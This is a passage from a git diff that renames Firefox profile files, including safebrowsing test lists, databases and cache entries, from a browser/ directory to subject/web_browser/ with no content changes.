b/subject/web_browser/profiles/firefox/default-67/datareporting/state.json similarity index 100% rename from browser/profiles/firefox/default-67/datareporting/state.json rename to subject/web_browser/profiles/firefox/default-67/datareporting/state.json diff --git a/browser/profiles/firefox/default-67/extension-preferences.json b/subject/web_browser/profiles/firefox/default-67/extension-preferences.json similarity index 100% rename from browser/profiles/firefox/default-67/extension-preferences.json rename to subject/web_browser/profiles/firefox/default-67/extension-preferences.json diff --git a/browser/profiles/firefox/default-67/extensions.json b/subject/web_browser/profiles/firefox/default-67/extensions.json similarity index 100% rename from browser/profiles/firefox/default-67/extensions.json rename to subject/web_browser/profiles/firefox/default-67/extensions.json diff --git a/browser/profiles/firefox/default-67/favicons.sqlite b/subject/web_browser/profiles/firefox/default-67/favicons.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/favicons.sqlite rename to subject/web_browser/profiles/firefox/default-67/favicons.sqlite diff --git a/browser/profiles/firefox/default-67/favicons.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/favicons.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/favicons.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/favicons.sqlite-wal diff --git a/browser/profiles/firefox/default-67/handlers.json b/subject/web_browser/profiles/firefox/default-67/handlers.json similarity index 100% rename from browser/profiles/firefox/default-67/handlers.json rename to subject/web_browser/profiles/firefox/default-67/handlers.json diff --git a/browser/profiles/firefox/default-67/key4.db b/subject/web_browser/profiles/firefox/default-67/key4.db similarity index 100% rename from browser/profiles/firefox/default-67/key4.db rename to subject/web_browser/profiles/firefox/default-67/key4.db diff --git a/browser/profiles/firefox/default-67/permissions.sqlite b/subject/web_browser/profiles/firefox/default-67/permissions.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/permissions.sqlite rename to subject/web_browser/profiles/firefox/default-67/permissions.sqlite diff --git a/browser/profiles/firefox/default-67/pkcs11.txt b/subject/web_browser/profiles/firefox/default-67/pkcs11.txt similarity index 100% rename from browser/profiles/firefox/default-67/pkcs11.txt rename to subject/web_browser/profiles/firefox/default-67/pkcs11.txt diff --git a/browser/profiles/firefox/default-67/places.sqlite b/subject/web_browser/profiles/firefox/default-67/places.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/places.sqlite rename to subject/web_browser/profiles/firefox/default-67/places.sqlite diff --git a/browser/profiles/firefox/default-67/places.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/places.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/places.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/places.sqlite-wal diff --git a/browser/profiles/firefox/default-67/prefs.js b/subject/web_browser/profiles/firefox/default-67/prefs.js similarity index 100% rename from browser/profiles/firefox/default-67/prefs.js rename to subject/web_browser/profiles/firefox/default-67/prefs.js diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/base-track-digest256.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/content-track-digest256.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/mozplugin-block-digest256.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-block-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-harmful-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-malware-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-phish-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-track-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-trackwhite-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing-updating/test-unwanted-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-block-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-block-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-block-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-block-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-block-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-block-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-block-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-block-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-harmful-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-malware-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-phish-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-track-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-track-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-track-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-track-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-track-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-track-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-track-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-track-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-trackwhite-simple.sbstore diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.pset b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.pset similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.pset rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.pset diff --git a/browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.sbstore b/subject/web_browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.sbstore similarity index 100% rename from browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.sbstore rename to subject/web_browser/profiles/firefox/default-67/safebrowsing/test-unwanted-simple.sbstore diff --git a/browser/profiles/firefox/default-67/search.json.mozlz4 b/subject/web_browser/profiles/firefox/default-67/search.json.mozlz4 similarity index 100% rename from browser/profiles/firefox/default-67/search.json.mozlz4 rename to subject/web_browser/profiles/firefox/default-67/search.json.mozlz4 diff --git a/browser/profiles/firefox/default-67/sessionCheckpoints.json b/subject/web_browser/profiles/firefox/default-67/sessionCheckpoints.json similarity index 100% rename from browser/profiles/firefox/default-67/sessionCheckpoints.json rename to subject/web_browser/profiles/firefox/default-67/sessionCheckpoints.json diff --git a/browser/profiles/firefox/default-67/storage.sqlite b/subject/web_browser/profiles/firefox/default-67/storage.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage.sqlite diff --git a/browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata b/subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata similarity index 100% rename from browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata rename to subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata diff --git a/browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 b/subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 similarity index 100% rename from browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 rename to subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 diff --git a/browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite diff --git a/browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal diff --git a/browser/profiles/firefox/default-67/storage/ls-archive.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/ls-archive.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/ls-archive.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/ls-archive.sqlite diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata-v2 b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata-v2 similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata-v2 rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/.metadata-v2 diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite diff --git a/browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal b/subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal similarity index 100% rename from browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal rename to subject/web_browser/profiles/firefox/default-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal diff --git a/browser/profiles/firefox/default-67/times.json b/subject/web_browser/profiles/firefox/default-67/times.json similarity index 100% rename from browser/profiles/firefox/default-67/times.json rename to subject/web_browser/profiles/firefox/default-67/times.json diff --git a/browser/profiles/firefox/tp-67/.parentlock b/subject/web_browser/profiles/firefox/tp-67/.parentlock similarity index 100% rename from browser/profiles/firefox/tp-67/.parentlock rename to subject/web_browser/profiles/firefox/tp-67/.parentlock diff --git a/browser/profiles/firefox/tp-67/.startup-incomplete b/subject/web_browser/profiles/firefox/tp-67/.startup-incomplete similarity index 100% rename from browser/profiles/firefox/tp-67/.startup-incomplete rename to subject/web_browser/profiles/firefox/tp-67/.startup-incomplete diff --git a/browser/profiles/firefox/tp-67/OfflineCache/index.sqlite b/subject/web_browser/profiles/firefox/tp-67/OfflineCache/index.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/OfflineCache/index.sqlite rename to subject/web_browser/profiles/firefox/tp-67/OfflineCache/index.sqlite diff --git a/browser/profiles/firefox/tp-67/addonStartup.json.lz4 b/subject/web_browser/profiles/firefox/tp-67/addonStartup.json.lz4 similarity index 100% rename from browser/profiles/firefox/tp-67/addonStartup.json.lz4 rename to subject/web_browser/profiles/firefox/tp-67/addonStartup.json.lz4 diff --git a/browser/profiles/firefox/tp-67/addons.json b/subject/web_browser/profiles/firefox/tp-67/addons.json similarity index 100% rename from browser/profiles/firefox/tp-67/addons.json rename to subject/web_browser/profiles/firefox/tp-67/addons.json diff --git a/browser/profiles/firefox/tp-67/blocklist.xml b/subject/web_browser/profiles/firefox/tp-67/blocklist.xml similarity index 100% rename from browser/profiles/firefox/tp-67/blocklist.xml rename to subject/web_browser/profiles/firefox/tp-67/blocklist.xml diff --git a/browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs b/subject/web_browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs rename to subject/web_browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUs diff --git a/browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= b/subject/web_browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= rename to subject/web_browser/profiles/firefox/tp-67/cache2/ce_T151c2VyQ29udGV4dElkPTUsYSw= diff --git a/browser/profiles/firefox/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/0B5DBCCAD934A4C4369BE21FF5C26B864DC594AB diff --git a/browser/profiles/firefox/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/1891807939636060566172C08C0AC5783A497AE0 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/287A739E5A799EFB74FF60A39CE892610F2EFA68 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/516EAEF85B5206E9CEB31FF32B539A7B3497E3E3 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/5995C7CCB293DA761DBE3FB34BFE6BB474B55144 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/5C3B1B4A3AF3BDDFB5E032BA9BA685FAE38E7418 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/60D49F42AAF00DA70E330093AB82F7A3CE4256C3 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 